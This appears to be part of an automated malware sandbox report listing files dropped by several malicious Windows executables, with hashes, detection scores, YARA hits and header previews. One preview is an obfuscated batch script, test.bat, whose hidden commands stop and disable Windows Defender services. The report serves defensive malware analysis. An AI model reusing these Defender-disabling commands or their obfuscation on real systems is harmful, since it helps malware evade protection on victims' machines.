Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5D4.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14734
Entropy (8bit):	4.993014478972177
Encrypted:	false
SSDEEP:	384:cBVoGIpN6KQkj2Wkjh4iUxtaKdROdBLNXp5nYoGib4J:cBV3IpNBQkj2Lh4iUxtaKdROdBLNZBYH
MD5:	8D5E194411E038C060288366D6766D3D
SHA1:	DC1A8229ED0B909042065EA69253E86E86D71C88
SHA-256:	44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8C93D390E31F
SHA-512:	21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2B9DF27B2816D6EE3B3187E54BF066A96DB9EC1FF47FF86FEA36282AB906367
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22168
Entropy (8bit):	5.605445164688419
Encrypted:	false
SSDEEP:	384:etCDLqoZI5K1rpl9z6vOMSBKnAjultI+P7Y9gtSJ3xeT1MaXZlgRV7+3HmZBDI+s:+6rP904KAClthrtc8C+fYLVi
MD5:	68AE69A585A398F9AFA7BD9FCC17E62F
SHA1:	C5164B582D9A3C6020D0717694906CFB80BCD648
SHA-256:	4BC8D9F5E97175B8377C5FC31965D691A255A516EB3EF56ED9540B41C4258F06
SHA-512:	941F79F18F10DAE389D27E6CFB2FD12C4836A7E82F1A788BF5562A98E029531DABAE6B285A9A7ADA4AA25FDEC661D3BB2193B70CB2636D7239D35C1F372AA4E1
Malicious:	false
Reputation:	unknown
Preview:	@...e...........^.......h.>.).........B...I..........@..........H...............<@.^.L."My...::..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\5D4.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\192F.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\192F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\319A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\319A.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\32BC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	602112
Entropy (8bit):	7.0892638670378805
Encrypted:	false
SSDEEP:	12288:kGukYO+PJKZ0NZviBsCUcU9Yveqgg4Q2K+:HukCJ1iiCf202
MD5:	D02C5BF9533CCE0E9EA3EAFC2F594A49
SHA1:	843BC6B17AD8AF53CE851F5C05D21BC03B434E5C
SHA-256:	32C06152828C3D144B82E6E1F4EF18381BE1DFD307105851827E358C64156949
SHA-512:	A0E6A4157A13891FF91E20860D320E137A6D1D33629371D29598D40E53CFDEED86D2B0D0F8BF668A9B8175623662807DB190360414640BDAD5261B2702D148D5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L...D,._......................p...................@...........................x.....@.......................................D...d....Pw..<....................w.....0...................................@............................................text...x........................... ..`.data....io.........................@....malajew.....@w.....................@....rsrc....<...Pw..<..................@..@.reloc...#....w..$..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\319A.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\5D4.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\5D4.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\69B5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6DDE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	877056
Entropy (8bit):	7.462302194895007
Encrypted:	false
SSDEEP:	24576:yYuSM7Gp8zSjQLCV9ibUqyuziiM95BxXEr:yv7i8zSjbVwB1ZM910r
MD5:	B79D3399603938A695A98A75DCFBAB91
SHA1:	AF9A85F2CC85CD3B040536C988AAB45C237A22D9
SHA-256:	934690E391745FCA58CA0DF6D41952D6F58ED7B18AB8FDDA22484B01EB262BE8
SHA-512:	5499156CB77B33218077A690AF2EC89D9E9C2AC20796BB2F0A889DD97E569DDD84FDEC0F7C9332523A95D47081235E1BD2240D2971CDD5153CFA906C39BFA0B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 30%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p..... .............@...........................\|.....ja..........................................d.....{..<....................{.....0...................................@............................................text............................... ..`.data....io.........................@....vuci........p{.....................@....rsrc....<....{..<..................@..@.reloc...#....{..$...>..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7428.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	604160
Entropy (8bit):	7.081312542094628
Encrypted:	false
SSDEEP:	12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs
MD5:	DE692F1B4D4C63FED395BE25E878858E
SHA1:	16F5B74E898FB0CD30F127CB1E03DA79E481158A
SHA-256:	6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21
SHA-512:	24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E067
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... ...................................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\75B0.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	7.390894610588505
Encrypted:	false
SSDEEP:	6144:IdQPlt1M8RJNHUMb62VCDuy1DzJDGLkjNVlZeJjuzbgwuA7ITsq:Ialt6mJN0x2VmlhtawtcjunnF7
MD5:	FA00DF47BCC5F9AD16ED71856FB6F4D6
SHA1:	561D89B6384A44E6D47AC4B68D04FFFFF3DE3558
SHA-256:	B2F5636B2E78B3F60EA53FD0C7C95656E11C08FAC59869B38A165C7BF39CF1E5
SHA-512:	3A6ACB14B041B341C979F233D881225615B225DAC9E84F0CD62DAEC69818212A9620AE82E4B61BA5547E3A0EB9D1D8442EF52CE86BF093918203D33DDF3283CE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......`.....................6......_%............@.............................................................................(....`..H/..............................................................@...............p............................text.............................. ..`.rdata...E.......F..................@..@.data....<..........................@....xoj....r....P......................@..@.rsrc...H/...`...0..................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\86B8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262248
Entropy (8bit):	7.344044114091331
Encrypted:	false
SSDEEP:	6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo
MD5:	EDE62358EA39643E43992E9068E03CA2
SHA1:	0F73E8F96C01135A91D4E1BFECA139AD31C72C15
SHA-256:	187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605
SHA-512:	552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@............@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.reloc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?................................?............................................................................................................ .......@........................................................ .......@........................................................ .......@.....................................

C:\Users\user\AppData\Local\Temp\8746.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27576
Entropy (8bit):	5.969933955399239
Encrypted:	false
SSDEEP:	384:bekc2D26R7pXha5eglsu2CfQG9kyf4ZZK61TEYFGc1QzOQs42Aghgn:bJcMnacgl6EWlXzZ1QO4khgn
MD5:	FA6D8115D2266A121FE7C1552C0DDDFD
SHA1:	9166433A1F42AE7A623F26341DD9BBED91A045B3
SHA-256:	237E9E25B4DADE7BD2CCD0F6D59C9D607EEED8E60C1041F10BE3D4C50B37A459
SHA-512:	58825BAF9D243279393A635AEE9E7493682F18105D24CFAAF270BFAE54CB2FFDFE12734D7E3EB34983C554F3599BB73D523029871F28D8AFBF25CD27798C2368
Malicious:	true
